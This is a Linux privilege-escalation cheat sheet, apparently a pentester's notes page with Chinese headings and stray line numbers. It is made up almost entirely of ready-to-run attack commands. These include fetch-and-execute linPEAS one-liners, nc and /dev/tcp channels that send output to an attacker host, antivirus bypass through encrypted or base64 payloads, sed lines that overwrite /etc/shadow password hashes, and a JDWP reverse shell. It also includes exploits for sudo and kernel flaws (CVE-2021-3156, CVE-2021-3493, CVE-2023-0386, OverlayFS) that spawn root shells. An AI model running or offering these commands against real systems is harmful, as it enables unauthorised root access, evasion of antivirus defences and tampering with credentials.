## ------------------| Remote download and execrute from Github curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
本地网络
1 2 3 4 5 6 7 8 9 10 11
## ------------------| Local Network curl 10.10.10.10/linpeas.sh | sh
## ------------------| Without CURL sudo nc -q 5 -lvnp 80 < linpeas.sh #Host cat < /dev/tcp/10.10.10.10/80 | sh #Victim
## ------------------| Excute from memory and send output back to the host curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim nc -lvnp 9002 | tee linpeas.out #Host
输出格式
1 2 3
## ------------------| Output to file ./linpeas.sh -a > /dev/shm/linpeas.txt #Victim less -r /dev/shm/linpeas.txt #Read with colors
AV 旁路
1 2 3 4 5 6 7 8 9
## ------------------| open-ssl encryption openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
## ------------------| Base64 encoded base64 -w0 linpeas.sh > lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow
## ------------------| one line : h4rithd123 sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow
## Watch this video https://youtube.com/watch?v=EXuEDHFjS9E&t=2070
如果您看到jdwp以特权用户身份运行?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
## ------------------| First you need to port forword ssh -L 8000:127.0.0.1:8000 user@ip
## ------------------| Using jdwp-shellifier [Best Methord] git clone https://github.com/IOActive/jdwp-shellifier cd jdwp-shellifier ### Create reverse shell on /tmp/shell.sh (Victem's machine) python2 jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/shell.sh"
## ------------------| Attached remote port [Connection is not persistence] jdb -attach 8000 > classpath ### List class path > classes ### List classes > threads ### List all threads > stop in java.lang.String.indexOf(int) ### Set brakepoint print new java.lang.Runtime().exec("/bin/touch /tmp/hello.txt")
## ------------------| Check if you are in disk group. groups | grep -oP disk
## ------------------| Check if you have R/W permission on sds. ls -la /dev/sd*
## ------------------| Check which one belongs to me. mount | grep '^\/dev'
## ------------------| Try to read it strings /dev/sda1 | grep root.txt debugfs /dev/sda1 ## then use ls commands.
## ------------------| If you do not have access; Check if it link to any other ls -al /dev/mapper/Kotarak--vg-root ##Suppose I get an "/dev/dm-0" in response.
##_______________________________________________________________________________ ## CVE-2021-3156 sudo Vulnerability Allows Root Privileges ## https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges ## versions 1.7.7 through 1.7.10p9, 1.8.2 through 1.8.31p2, and 1.9.0 through 1.9.5p1 are affected. sudoedit -s '\' `perl -e 'print "A" x 65536'` ## If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable
## ------------------| Expolit ssh ## Or you can download it from here: https://github.com/h4rithd/PrecompiledBinaries/tree/main/CVE-2021-3493 gcc exploit.c -o exploit ./exploit
## ------------------| Affected Versions, if kernel version is lower than 6.2 uname -r
## ------------------| Expolits git clone https://github.com/xkaneiki/CVE-2023-0386.git ## or you can download precompiled binary from here: https://github.com/h4rithd/PrecompiledBinaries/edit/main/CVE-2023-0386 sudo apt-get install libfuse-dev libcap-dev cd CVE-2023-0386 make all ### Start two terminals and enter in the first terminal ./fuse ./ovlcap/lower ./gc ### In the second terminal enter ./exp
## ------------------| My one unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash -i\")'"
## ------------------| Original poc payload unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
## ------------------| Adjusted poc payload by twitter user; likely false positive unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"